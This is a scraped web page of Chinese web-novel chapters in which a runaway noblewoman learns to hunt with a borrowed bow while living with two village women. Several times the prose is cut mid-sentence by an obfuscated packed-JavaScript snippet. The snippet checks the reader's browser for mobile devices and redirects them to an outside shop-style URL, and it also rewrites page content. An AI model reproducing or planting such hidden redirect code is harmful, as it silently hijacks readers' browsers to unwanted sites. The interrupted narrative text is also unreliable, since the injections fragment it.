陈大用抬眼看了看姜佑安的肩膀,“这钱是要去看大夫抓药的吧,买了弓,你肩膀上的伤怎办?” “这不着你管。”姜佑安说道。 陈大用放下锯子,站起身看着姜佑安,“你宁愿不治肩膀,也要买弓?” “对,我一定要吃到肉!”姜佑安肯定地说道。 看着姜佑安,陈大用突然想到了自己的孙女,忍不住笑了起来,“真是孩子气。” “随你怎么说,我就是要吃肉。”姜佑安说道。 “你有多少钱?”陈大用问道。 姜佑安数了数手上的钱,“三十文。” 陈大用伸出一只手,姜佑安把铜钱放在了他的手上,他转身向屋里走去,微微佝偻着身子,不一会儿就又从屋里走了出来,把一个小瓷瓶递给姜佑安。 姜佑安伸手接过,“这是什么?” “金疮药,洒在伤口上,注意伤口不要沾水。”陈大用说道。 “我是来买弓的,不是要买药。”姜佑安把药递了回去。 陈大用笑了笑,“做木匠的,这种药都是常备的,不值什么,弓我就送给你了,有弓还要有箭,那三十文钱,我会给你做几支箭,你明天再来取吧。” 姜佑安喜出望外,向陈大用拜了一拜,“多谢老人家。” “我姓陈,你叫我老陈就好,你是袁竹的妹妹?”陈大用问道。 “我叫姜佑安,在袁竹家暂住,陈爷爷,那我明天再来拜访。”姜佑安行了一礼,转身离去。 雷声轰隆隆在天边响起,在雨滴降落前,姜佑安回到了袁家。 袁竹和阮招娣坐在门内,看着院子里的落雨,卖剩下的茉莉花被养在大碗里,让氤氲的水汽都充满了花香。 阮招娣让姜佑安坐下,动作轻柔地给她上药,药粉洒在伤口上,疼得她一激灵。 袁竹跟她说着话,转移她的注意力,“小阮说给自己取名叫阮荷。” 姜佑安咬着牙,紧闭着双眼,“嗯?你说什么?” 阮招娣上好了药,取来准备好的纱布,给姜佑安包扎伤口,“要不,去屋里吧,你把衣服脱了,我给你好好缠上。” “不用。”姜佑安把衣服向下扯了扯,把右边胳膊从袖子里掏了出来,“直接缠吧。” 阮招娣看东屋的门在关着,外面下雨,也没有行人,就顺从地给她包扎好了伤口。 姜佑安额头渗出了细密的汗珠,她看着袁竹,“你刚才说什么河?” 阮荷在一旁坐下,“阮荷,我给自己起的名字,荷花的荷。” “你喜欢荷花?”姜佑安问道。 “喜欢,我那天要跳河,特意选在了有荷花的地方,就是想死在荷花底下,还能让荷花长得壮些。”提到那天的事,阮荷的脸上带着浅笑,好像已经释怀了。 姜佑安笑道:“阮荷,这名字真好听。” “伤口包扎好了,你把衣服穿起来吧。”袁竹说道。 姜佑安向着大门伸出右手,感受着潮湿的水汽,“天气这么闷热,胳膊露出来凉快。” “你平时都这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小时候?那都是多少年前的事了!这边的山你又不熟悉,别说是进山打猎了,你就是进山走走,能不能转出来都不一定。”袁竹说道。 袁竹的语气生硬,姜佑安听了非常不舒服,“你未免太看不起人了,我四肢健全,能跑能跳,还能进了山就出不来?你越不让我去,我就偏要去!” “你是外地人,不清楚这边的情况,我还能害你不成?”袁竹缓和了语气劝道。 “不去才不清楚,我去了自然就清楚了。”姜佑安说道。 袁竹也生气了,“行,你非要去,我也不拦你,你要是掉到什么石头缝里回不来,可别想着我们能去找你!” 姜佑安针锋相对,“不用你找我!你不是总想赶我出去吗?我要是死在了外面,正好合了你的心意,反正是我自己要进山的,死了也怪不到你头上。” 袁竹气得没话讲,起身进了屋里,阮荷低声向姜佑安解释说袁竹也是担心她,姜佑安让阮荷不必多说,自己都清楚,打猎这事,自己是势在必行。 一夜无话,清晨,阮荷送袁竹出了门,给姜佑安换了药,又给她带了干粮和水,姜佑安向阮荷挥手告别,让她在家等着吃肉,阮荷微笑着点头答应。 袁竹卖花回来时,阮荷已经做好了午饭,给杨恩送了饭,两人在桌边等了很久,也不见姜佑安回来。 两人沉默着吃完了午饭。 整个下午,阮荷坐立难安,她不时走出院门,看着姜佑安离开的方向,却始终看不到姜佑安的身影。 眼见太阳就要下山了,阮荷更加着急了,“袁姐姐,要不,我进山去找找她吧。” 袁竹叹了口气,把手中的簸箕放到一旁地上,还没说话,就看到从院门外进来个人。 “不用找了!” 8. 打猎 阮荷回过头,见是姜佑安走进了院门,惊喜地快步迎了上去,“佑安姐姐,你回来了!” “回来了!”姜佑安响亮地答道。 阮荷走到近旁,见姜佑安左肩上背着箭囊,左手拿着一张弓,右手拎着一把砍刀,右胳膊上撕破的袖子耷拉下来,露出皮肤上的一道道红色血痕,再看脸上也有两道细小的伤疤,“你受伤了?这胳膊是怎么了?” 姜佑安笑了笑,“被树枝挂的。” 阮荷赶紧拉着她进屋,让她在椅子上坐下,“快来,我给你上点儿药。” “只是划破点儿皮,没事的。”姜佑安笑着说道。 阮荷仔细看着姜佑安的胳膊,很是心疼,“都流血了。” 姜佑安收敛了笑意,向阮荷道歉,“对不起,我没遵守约定,没能让你吃上肉。” 阮荷拿来湿过水的手巾,擦洗着姜佑安的胳膊,“没有肉吃不打紧,能吃饱饭,对我来说,就已经是天大的好事了,姐姐不用想着这个。” 姜佑安垂下头,久久沉默。 阮荷又拿来药瓶,手捧着姜佑安的胳膊,小心地给她上药。 袁竹坐在门边,把簸箕放在腿上,手指拨动着里面的米粒,把杂物一个个挑拣出去,“别什么都往自己身上揽,阮荷吃不上肉,跟你没关系。” 姜佑安抬头看向袁竹,目光跟随着她灵巧的双手,看了好一会儿,“你说得对,进山打猎不是件容易的事。” 袁竹看了姜佑安一眼,两手抓着簸箕站起身,走进屋里,“知道就好,天快要黑了,赶紧吃饭吧。” “虽然不容易,但我不会放弃的。”姜佑安说道。 袁竹把簸干净的米倒进了米缸里,盖上盖子,“都弄成了这个样子,还不放弃,你以为我有多少衣服让你去糟蹋?” 姜佑安紧握着双手,神色倔强,“我就穿这一件,破了也能穿。” 袁竹放下簸箕,走到姜佑安身边,“这箭和刀是哪来的?” “村里的陈爷爷给的。”姜佑安答道。 “那个木匠?他为什么会给你这个?”袁竹问道。 “我跟他说我想吃肉,他说我像他孙子,答应给我做几支箭,让我去山上试试。”姜佑安答道。 袁竹想起了陈家那个孩子,在倔强的劲头上,确实跟姜佑安有几分相似,“那老头也是,平时哄哄小孩子就算了,怎么能怂恿你去山上打猎。” “他没有怂恿我,他说打猎很难,想吃肉的话,不如养几只鸡。”姜佑安说道。 “对啊,袁姐姐,你怎么没有养鸡呢?我们村子家家都养鸡,平时能有鸡蛋吃,过年还能杀了吃肉。”阮荷说道。 “你家也养鸡了?”姜佑安向阮荷问道。 “养了啊。”阮荷答道。 “那你怎么连鸡蛋都吃不上?”姜佑安问道。 阮荷笑了笑,“弟弟们年纪小,还在长身体,得先紧着他们吃,我只能在过生日的时候吃。” 姜佑安不能接受,“你还这么瘦小,也是需要长身体的时候啊,一年之中只有过生日的时候才给你吃,你爹娘也太偏心了吧。” 看姜佑安一脸怒气,阮荷轻声安慰道:“姐姐你别生气,我小时候也能吃到的,只是现在孩子多了,鸡蛋才不够分了。” 袁竹叹了口气,“你不必这样为你爹娘说话,鸡蛋不够一人一个,那就炒一盘大家吃,只给弟弟们吃,不给你,就是不想给你吃罢了,没有别的原因。” 阮荷听了,眼泪猝然滚落,哽咽着说不出话来。 姜佑安站起身,把阮荷抱在怀里,“你我虽然出身不同,却是同病相怜,爹娘都只爱惜儿子,把女儿推出去换取好处。” 阮荷抱着姜佑安,默默留着泪,她何尝不知道爹娘不爱她这个女儿,不然她也不会寻死,但她总希望这一切背后还有另一个真相,爹娘所做的一切都是不得已,爹娘还是在意她的,毕竟那是养育她长大的爹娘,在那个家里,她也曾经有过被呵护的日子。 姜佑安轻轻拍着阮荷的后背,轻声说道:“以前我总以为爹娘是最疼爱我的,直到他们要把我送给一个素不相识的老男人,我才醒悟,我这个女儿,什么都不是,所以我逃走了,我要远离他们,过自己的日子。” “阮荷,你也逃出来了,阮招地死在了河里,你以后只是阮荷,我们都逃离了自己的家,再也不回去任他人摆布,以后,我们都会过得更好的。”姜佑安接着说道。 阮荷渐渐止住眼泪,放开了姜佑安,“姐姐说得对,过去的事,我不再去想了。” 袁竹突兀地插了一句,“我不会养鸡。” 阮荷没听清,擦着眼泪问道:“袁姐姐你说什么?” “刚搬到这里时,每年春天我都买了小鸡崽,可惜,没有一只能活下来,只给我留了一地鸡屎。”袁竹说道。 阮荷笑了,“袁姐姐这么能干,竟也有做不好的事。” “也许我这辈子都只能买鸡蛋吃了。”袁竹感叹道。 “明年春天,我跟姐姐一起去买鸡崽吧,我帮姐姐把鸡养大。”阮荷想了想,又补了一句,“如果姐姐愿意留我到明年的话。” 袁竹抬手抚摸着阮荷的脑袋,微笑道:“只要你想留下,我就不会赶你走,我没有亲妹妹,以后你就是我妹妹了。” 姜佑安凑过来,“那我呢?袁姐姐,也认了我做你妹妹吧。” “你来历不明,我可不想惹上麻烦。”袁竹说道。 “你偏心!我都跟你说了,我和阮荷是一样的情况,你却只认她做妹妹。”姜佑安控诉道。 “你和她怎么一样?你打量我是个乡下人,就以为能骗过我?你说你是从外地来的,是哪个外地?哪个省?哪个府?哪个州?哪个县?爹娘叫什么?是做官的?还是做生意的?把你嫁给了谁?做第几房妾?为什么会路过这里?想让我留下你,就一一跟我说清楚。”袁竹说道。 “你一下子问这么多问题,我怎么答得出?说来说去,你不就是信不过我吗?”姜佑安说道。 阮荷看着两人的脸色,小心翼翼地劝道:“天要黑了,先吃饭吧。” “不愿意说实话就不要怪别人不接受你,吃饭吧,不要浪费我的灯油。”袁竹向厨房走去。 阮荷跟着来到厨房,盛了饭送到东屋去,三人各自盛了饭,坐在门口,就着夕阳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665227|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余辉吃完了饭。 在山里奔波了一天,姜佑安已经十分饥饿,吃晚饭时,她感觉纯素的饭菜也比之前美味了许多。 姜佑安躺在床上,闻到了熏艾的气味,她感觉身上疲惫又酸疼,很快就睡着了。 睡醒之后,姜佑安起床穿衣洗漱,带上武器、干粮和水,又向着山里出发了。 她不知道该如何向袁竹说明自己的身份,随便编一个的话,万一自己忘记了,必然会露馅儿,还会让自己以后的说辞都失去可信度,说实话的话,又担心自己会失去这个庇护之所。 为今之计,只有狩猎,只要打到了猎物,就有了说服袁竹的理由。 姜佑安摸了摸自己右胳膊的袖子,昨天撕裂的地方已经被阮荷缝补好了,她暗暗下定决心,不仅自己要吃到肉,阮荷也一定要吃到肉。 看袁竹的房子如此破旧,恐怕她也很久没有吃过肉了吧,要是能达到猎物,她肯定会愿意让自己留下来。 姜佑安走上了进山的路,昨天砍倒的草叶树叶都已枯萎,站在枯草铺就得路上,她仰头看着山峰上的层层密林,产生了些许退缩的心情。 她以前去打过猎的场地不是这样的。 幼时常跟好友一同去打猎的狩猎场,要比这山平缓得多,阻碍视线的荒草杂树都被清理干净,骑着马畅行无阻,找不到猎物的时候,还会有人成群结队进山驱赶,把猎物赶到她们的马前,让她们尽情射杀。 她以前进过的山也不是这样的。 她从小就喜欢山里的景色,但每次都是坐轿子上山,就算偶尔有陡峭的山路,路上也都有铺好的石阶,以她的体格,上山毫不费力。 可眼前这山,却没有现成的石头路,她按照陈爷爷的指示来到山下,看到了附近村民上山的路,说是路,不如说是一道沟,中间杂草丛生,竟有半人多高,还好陈爷爷知道这情况,借给她一把砍刀,刀刃锋利,才让她硬生生砍出一条路来。 走到哪砍到哪,这么大的动静,什么猎物会傻傻在一旁等着?所以纵然忙活了一天,她也只远远看见了一只兔子,还没等她张弓搭箭,兔子就已经跑没影了。 今天路已经开好了,肯定会比昨天强得多,姜佑安在心里给自己鼓着劲儿,把砍刀别在背后,轻手轻脚地上了山。 有鸟儿在树枝上鸣叫,姜佑安仔细搜寻着鸟儿的踪迹,见一只灰色的鸟站在高处的树枝上,她摸了摸箭囊,里面只有三支箭,若是射到树上,就不好取下来了,况且这鸟的体型也不大,要是只野鸡的话,还值得试一试。 姜佑安翻过一个矮点儿的山头,向群山走去,越是远离村庄的地方,野物越多,她毫不犹豫向前走去,只盼着能有一只莽撞的兔子出现在不远处。 太阳出来了,阳光透过树梢间的缝隙洒落下来,在树林下投下片片光斑。 在山里走了许久,也不知是什么时辰了,姜佑安觉得有些饿,在一丛低矮的树丛旁坐下休息,正要取出怀里的饼来吃时,突然听到有窸窸窣窣的声音从背后传来。 姜佑安缓缓转过头,向右边探着身子,查看树丛后是什么发出的动静。 出乎意料地,她看到了一头鹿。 9. 鹿 那头鹿距离姜佑安十步开外,正在低头吃草,吃上两口就抬起头张望,耳朵警觉地探听着周围的动静。 姜佑安回过头,屏住呼吸,手撑着地上的石头缓缓起身,拿过弓,从箭囊里轻轻抽出一支箭,张弓搭箭,透过树丛,瞄准了鹿的脖子。 箭还未离弦,那鹿像是发现了什么,纵身一跃,就要逃跑。 姜佑安赶忙放箭,箭羽擦到前面的树枝,斜斜地插在不远处的地上,再看那鹿,已经消失不见了。 姜佑安绕过树丛跑过去,向着鹿跳跃的方向追赶,搜寻着鹿的踪迹,高高低低的树丛遮掩着一切,她抽出背后的砍刀,用力挥刀砍出路来。 她一边砍,一边探看鹿的踪迹,然而什么都没有看见,只有一只鸟被惊动,从高处的树枝上扑棱棱飞走了。 真是可惜!要不是有矮树丛遮挡,她就射中了!姜佑安把砍刀扔在地上,气恼地坐在了地上。 就差一点!就差一点她就能猎到一头鹿,就能向袁竹证明自己的能力,让阮荷吃上鹿肉,可惜!太可惜了! 姜佑安呆坐在地上,她饿了,也渴了,饼在怀里,装水的葫芦系在腰上,但她完全不想动弹,陷进了懊恼的情绪里无法自拔。 不知过了多久,一旁的树丛里突然飞出一只鸟来,扑打着翅膀,发出低哑的咯咯声,姜佑安听到动静,抬头看去,见是一只野鸡从她头上飞过,她清晰地看到它华丽的尾羽,野鸡看到了她,快速飞走了。 野鸡在她头上掠过的一瞬间,她忘了那是她的猎物,在明亮的光线下,她看到,那是一只漂亮的公野鸡,它飞得那么低,长长的尾羽几乎拂在她的头上,仿佛触手可及。 姜佑安突然被野鸡的美震撼了,它不是为了被人狩猎而生,它活着,是健壮的、美丽的、生机勃勃的,和山林有关,和人无关。 姜佑安想到了刚才那头鹿,那鹿也是美丽的,和人无关的。 从她的箭下逃脱,真是一件幸运的事。 想到这,她的心绪平和了很多,但肚子还在饿着,她还是想吃肉。 她从怀里掏出帕子包着的饼,解开帕子,咬了一口。 这饼是阮荷做的,比袁竹做的要松软许多,慢慢咀嚼之下,嘴里竟有了丝丝甜味。 她从没有像现在这样,细细品味一块饼的滋味,她吃饭一向是无肉不欢的,就算是吃饼,也要夹着肉吃才行。 姜佑安闭上眼睛,想象着自己坐在餐桌前,面前摆放着炒羊肉、烤鹿肉、炸鹌鹑、鸭肉羹、鸡丝面、肉丝汤,再配上新鲜的鱼虾,还有爽脆的笋丝、豆芽和藕片,真是美味! 睁开眼,自己还坐在山林之中,啃着面饼,连一个配菜都没有。 姜佑安忍不住想要流泪,凭什么哥哥和妹妹都能安享荣华富贵,自己却要过这样的日子?但马上,她就把眼泪憋了回去。 这是她自己的选择,不靠父母,她要自己走出一条属于自己的路来,就算过得穷苦,她也不绝不回头。 她吃了一块饼,喝了几口水,起身拿回砍刀,又去捡回了插在地上的箭,放回箭囊里,继续向深山走去。 在山里转了一天,她依旧一无所获。 傍晚回到袁家,阮荷还是高兴地迎了上来,接过弓箭和砍刀,让她洗手准备吃饭。 姜佑安不禁想到,要是逃走的时候带点金子就好了,能用来赏给阮荷不说,自己也能住得舒适,吃得可口。 可惜,她以往没怎么花过钱,出逃之后,才知道了金银的可贵。 姜佑安洗过手,坐在了桌前,见桌上有两个菜,一个炖豆角,一个丝瓜炒鸡蛋,十分惊喜,“今天我们也有鸡蛋吃?” 阮荷也很高兴,“袁姐姐说今天生意不错,就多买了几个鸡蛋。” “在集市上买回来的吗?”姜佑安问道。 “不是,是村里的王大娘送过来的,她听说咱们这里有病人,就拿着鸡蛋来,问我们要不要给病人买一些。”阮荷说道。 “王大娘是谁?她怎么知道这里有病人?”姜佑安又问道。 “王大娘住在郎中隔壁,可能听郎中说的吧,她还夸袁姐姐是个会过日子的人,要给袁姐姐找个婆家呢。”阮荷笑着说道。 袁竹拿起了筷子,“别说这些了,赶紧趁热吃吧。” “嗯。”阮荷点点头,却只拿起筷子去夹盘子里的豆角和丝瓜。 袁竹直接端起那盘丝瓜炒鸡蛋,拨了一些鸡蛋放到阮荷的碗里,“吃吧。” 阮荷冲袁竹笑了笑,高兴地吃起来。 看到阮荷的笑脸,袁竹感觉鼻子酸酸的。 “袁姐姐,我也要。”姜佑安举着碗说道。 袁竹自顾自吃起饭来,“自己夹,你又不是小孩子了。” “哼,小气。”姜佑安放下碗,自己夹鸡蛋吃。 “阮荷今天一天都没闲着,又是照顾病人,又是跟着我下地干活的,多吃一点也是应该的。”袁竹说道。 “我也没闲着啊,今天我差一点儿就能打到一头鹿了!”姜佑安骄傲地说。 袁竹做出向外探看的姿势,“鹿?鹿在哪呢?” “我不是说差一点儿嘛,你不知道,那鹿当时就在我面前,可惜中间有树丛挡上了,射出去的箭挂住了树枝,才让它跑了。”姜佑安解释道。 阮荷很感兴趣,“真的?你真的看到鹿了?” “当然是真的,鹿的个头儿那么大,我怎么会认错,我还看见野鸡了呢,那野鸡的羽毛可漂亮了。”姜佑安高兴地向阮荷炫耀道。 “野鸡我见过,冬天下大雪的时候,野鸡就会出来找食吃,是比家里养的鸡漂亮多了。”阮荷附和道。 “别听她吹牛了,这山里哪有那么多鹿,能让她随随便便就遇见,野鸡倒还有可能。”袁竹说道。 姜佑安又生气又委屈,“我说的是真的!你为什么不相信?” “眼见为实,什么时候你把鹿带到我面前来,我就信你。”袁竹说道。 姜佑安瞪着袁竹,“好,你等着,会有那么一天的。” “嗯,我等着。”袁竹点点头,又催促道:“别说这些了,赶紧吃饭,天要黑了。” 都收拾停当之后,姜佑安心有不甘地躺在床上,又闻到了熏艾的气味,“这屋里怎么有一股艾草的味道?” “是点来熏蚊子的。”架子床里睡着的阮荷轻声答道。 原来是为自己驱蚊的,怪不得昨晚感觉睡得很安稳,姜佑安轻声道谢,“谢谢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665228|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你费心了。” “是袁姐姐去割的艾草,我只是跟着帮了点忙。”阮荷说道。 袁竹翻了个身,“早点儿睡吧。” 房间里陷入了沉默,直到天光大亮。 袁竹早早起床,准备好了卖花担子,吃过早饭,挑着担子出门了,只留三个外人在家。 没想到原本冷冷清清的家里,竟突然热闹起来,这些年她都一个人生活,一下子多了三个人,还真让她有些不习惯。 最不习惯的是家里有个男人,但他还病着,目前也不好赶他出去。 阮荷是个懂事得让人心疼的孩子,她委屈自己照顾别人的样子,总让她想起自己的姐姐,自从搬到这里之后,她就跟家人断了来往,也不知道姐姐现在怎么样了 这样的孩子,自己怎么能忍心让她回去面对贪财的爹娘,既然已经认了她做妹妹,那就让她留下吧,她这么勤快能干,一起生活应该不成问题。 问题是那个姜佑安,她一个富家小姐,细皮嫩肉的,总嚷嚷着要吃肉,能过得了这种穷苦的生活吗?而且她来历不明,不知道是为了什么逃出来的,要是因为她惹上什么麻烦就不好了。 不过她身无分文,直接赶出去,恐怕也活不下去,杨恩现在已经能站起来了,等他能走动了,就把他剩下的钱都交给姜佑安,让两人出去自己谋生吧。 想到她因为想吃肉而上山打猎,袁竹觉得很是麻烦,山里地形复杂,隐藏着蛇虫野兽,万一遇到危险回不来,自己和阮荷还得上山去找她。 打猎哪有她想的那么容易,还是得去跟木匠说说,把弓箭收回去,让她放弃这个想法。 从县城里回来,袁竹先去了木匠那里一趟才回家,本以为今天姜佑安也上山去打猎去了,不成想她却在家里,和阮荷一起蹲在院子里,脚边弄了些柳树枝,不知道在鼓捣什么,杨恩在门口坐着,看见她进门,微笑着向她打着招呼,“袁姑娘回来了。” 杨恩因患病而枯瘦,却难掩丽质,姜佑安说得没错,这个男人确实长得很好看。 “回来了。”袁竹应了一声,在丝瓜架下放下了担子,向姜佑安问道:“今天怎么回来得这么早?打到什么了?” “佑安姐姐今天没进山。”阮荷答道。 袁竹听了非常高兴,“不打猎了?我早就跟你说了,打猎难得很,你非要试试,这回死心了吧。正好我刚去了木匠那里,他说之前只是逗你玩儿,只要你把弓箭还有砍刀还回去,他就把钱还给你。” 姜佑安抬头看向袁竹,“陈爷爷的弓,虽然我用着不太顺手,但我并不打算还回去。” 袁竹眉头一皱,“你还没放弃?” “这两天,兔子、野鸡和鹿,我都遇见了,说明山里确实有猎物,打不到,是我的问题。”姜佑安说道。 “当然是你的问题,你本来就不是猎人,也做不了猎人,还是尽早放弃吧。”袁竹劝道。 “不,我不会放弃的。”姜佑安的眼神坚定,“以前我是猎人,以后我也是,只是打猎的方式跟以前有所不同而已,我会让自己适应这里,也适应陈爷爷的弓。” “怎么适应?”袁竹看了看地上散落的柳枝,其中一些枝条编在了一起,“你这是要做什么?” 10. 训练 姜佑安低下头继续忙着手上的活计,“昨天没射中那头鹿,是因为我射箭不够娴熟,力度不够,准度也不够,我需要好好训练一番。” “训练?怎么训练?”袁竹问道。 阮荷向袁竹解释道:“佑安姐姐要做一个靶子,练射箭用的。” “这地上的柳条,是做靶子用的?”袁竹又问道。 “是啊。”阮荷点了点头,“佑安姐姐想做射箭用的靶子,只不过她也不知道靶子是什么做的,只知道是圆的,箭头射进去可以轻松拔出来,我不知道靶子是什么样的,想起了以前编过的柳条,要是盘成一个圆形,说不定能行,就和佑安姐姐一起做了。” “小阮,你也想吃肉吗?”袁竹问道。 阮荷笑着说道:“想,不过没有肉吃也没事,能帮到佑安姐姐,我就高兴。” 姜佑安用手背蹭了蹭阮荷的脸,眼神中充满柔情,“小阮乖,姐姐一定让你吃到鹿肉。” 看着两人充满干劲地编着柳条,袁竹沉默了一阵子,才幽幽说道:“我知道箭靶子是用什么做的。” 阮荷惊喜地站起身,“真的?用什么做的?” “你也会射箭?”姜佑安问道。 “不会,不过我去过城里的弓箭社,当时我闲着没事干,还仔细看过他们的箭靶子。”袁竹说道。 姜佑安也站了起来,追问道:“她们的箭靶子是用什么做的?” 袁竹拿起肩上的手巾,擦了擦汗,“我忙了一上午了,有没有午饭吃啊?” “有,饭菜已经做好了,袁姐姐你先进屋,我这就去盛饭。”阮荷欢快地应着,去洗了手,盛出饭菜来,又把杨恩扶到了桌边。 杨恩坐下,低头道谢,“多谢阮姑娘。” 阮荷笑了笑,把一个煮鸡蛋放在他碗边,“这是给你的。” 袁竹在姜佑安旁边落了座,仔细看了看杨恩的脸,“姓杨的,你今天的脸色看起来好多了。” “承蒙三位姑娘照顾,我才能捡回一条命。”杨恩感激地说道。 “这些话就不必说了,你能活着就好,先吃饭吧。”袁竹说道。 “你还没告诉我,箭靶子是用什么做的呢。”姜佑安说道。 袁竹拿起筷子,夹了一筷子空心菜吃起来,“吃完饭再说。” “行,那就先吃饭,你别是骗我的就行。”姜佑安也拿起了筷子。 “你以为谁都跟你一样?我可不会骗人。”袁竹说道。 “好好好,你厉害,你高尚,行了吧。”姜佑安说道。 听到两人的语气都有些生硬,阮荷有些害怕地看向姜佑安,“佑安姐姐,你生气了吗?” 姜佑安连忙摆手道:“没有,我才犯不上跟一个村姑生气呢。” 袁竹冷哼一声,语带嘲讽,“是吗,不愧是大小姐,大人有大量,不会跟我这个村姑一般见识。” 姜佑安面色冷了下来,“你要吵架吗?” “是你要吵架吧。”袁竹抬起头,目光毫不避让。 杨恩突然剧烈地咳了几声,三人都向他看去,他趁机轻声劝道:“两位姑娘各退一步吧,若是因为这一点小事而伤了和气,就太不值当了。” 袁竹和姜佑安听了,都安静下来没再说话。 午饭后,杨勇回了房间休息,袁竹从厨房里抱出许多稻草来,放在了院子当中。 “箭靶子是用稻草做的?”阮荷问道。 “是啊。”袁竹进屋去取了剪刀和一捆麻绳出来,阮荷和姜佑安也跟在她身后进进出出。 袁竹把剪刀和麻绳放在地上,自己坐在稻草边,阮荷和姜佑安也跟着在一旁坐下。 袁竹两手抓起一大捧稻草来,整理成三股编成一条结实的稻草辫子,一边编一边往三股里加稻草。 “就这样往下编就行了,编好了竖起来盘成一个圆形,盘一圈,就用麻绳扎紧一圈,想要大的,就多盘几圈,想要小的,就少盘几圈。”袁竹说到。 “袁姐姐太厉害了!”阮荷夸赞道。 “是挺厉害。”看在她主动帮自己做箭靶的份上,姜佑安也勉强夸了一句。 袁竹示范了一下怎么盘、怎么扎之后,把已经编好的部分交给姜佑安,站起身来,“剩下的你们做吧,我要去地里除草了。” 阮荷也跟着站了起来,“我也去。” “不用了,我自己去就行,你不在这,她估计连稻草怎么编都不会。”袁竹去廊下拿了锄头,出门去了。 姜佑安虽然不服气,但也不得不承认袁竹说得对,她确实不会编,“小阮,你会编吗?” “会,我来编,你来捆扎吧。”阮荷说道。 两个人在院子里忙活了好一阵,终于把一个歪歪扭扭的箭靶做好了,上午编的柳条也没浪费,都捆在了后面给箭靶加厚。 袁竹从地里回来时,两个人正在找一个合适的位置悬挂箭靶。 “袁姐姐回来了!你看,我们做的箭靶。”阮荷高兴地手捧着箭靶,展示给袁竹看。 袁竹看了一眼,夸奖道:“还不错,有箭靶的样子。” “姐姐还出去吗?箭靶做好了,我跟你一块去干活。”阮荷说道。 “不用了,草长得不多,我已经锄完了。”袁竹把锄头放在廊下,进屋给自己倒了碗水喝。 院门边的墙上挂着蓑笠,姜佑安把蓑笠取下来,把箭靶挂了上去,“就这儿了。” 袁竹去洗了把脸,搬出竹椅来,坐在屋檐下乘凉,看见姜佑安的动作,她没有提出反对,“把院门关上,别有人突然推门进来,再被你伤着。” 姜佑安去闩上了院门,退回院子里站定,左手持弓,右手搭箭,两指捏着箭尾,向后拉弦,弦只拉得半满,箭就飞射出去,扎在了箭靶最外圈。 “佑安姐姐好厉害!一下子就射中了。”阮荷鼓掌称赞道。 “厉害吧。”姜佑安冲阮荷笑了笑,从箭囊中又抽出一支箭来。 姜佑安脸上得意,心里却严肃起来,这么近的距离,自己瞄准了靶心,却只射中了最外圈,箭技退步的不是一星半点儿。 没有扳指,弓不顺手,都对她有影响,但也不至于偏这么多,看来昨天在山里,就算没有树丛遮挡,她也不可能射中那头鹿。 姜佑安张弓搭箭又射出一箭,这次连箭靶都没碰到,射在了木门上,好在她没有将弓拉满,箭头只稍稍扎进木头里,便跌落了。 接着又是一箭,跌落在了地上。 阮荷跑过去,把箭收集起来,跑回去递给姜佑安,“佑安姐姐,给你。” “谢谢。”姜佑安接过箭,放回箭囊里。 姜佑安一箭接一箭地射着,阮荷守在一旁,一次次帮她把箭收回来,再递到她的手上。 日光偏斜,射进院子里,姜佑安站在阳光里,屏气凝神,只盯着眼前的靶子,箭一支支飞出,她的手越来越稳,箭距离靶心越来越近,终于,一箭射出,正中靶心! 阮荷鼓掌笑道:“射中了!射中中间了!” 姜佑安听到阮荷的声音,肩膀放松下来,突然感觉右手拇指和食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665229|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指疼得厉害,她放下弓,向阮荷说道,“你要不要试试?” 阮荷脸上现出腼腆的神色,“我不会射箭。” “这有什么难的,只要能拉开弓,把箭射出去就行。”姜佑安说着,把弓递给了阮荷。 阮荷接了弓,好奇地抚摸着弯曲的弓身,她没拿箭,只用手试了试弓弦,弦绷得紧紧的,她左手握着弓身,右手食指和中指勾住了弓弦向后拉,弓弦纹丝不动。 “这弓太紧了吧。”阮荷说道。 姜佑安去拿了一把竹椅出来,坐在廊下休息,“弓弦紧一些,箭射出去才有力,也能射得更远,你多用点劲儿试试。” 阮荷用力地拉着弓弦,也只能拉动一点儿,甩了甩手,有些失落地放下弓,“我拉不动。” 袁竹见姜佑安被太阳晒得脸通红,额头渗出豆大的汗珠,她摇着蒲扇给姜佑安扇着风,微笑着看向阮荷,“你还小,再长大一些就能拉得动了。” “对啊。”姜佑安附和笑道,“你身形过于瘦小,才拉不动这弓,等我打到了猎物,你就多吃点肉,长得壮实一点就好了。” 袁竹随口说道:“女孩子家,长那么壮实做什么。” 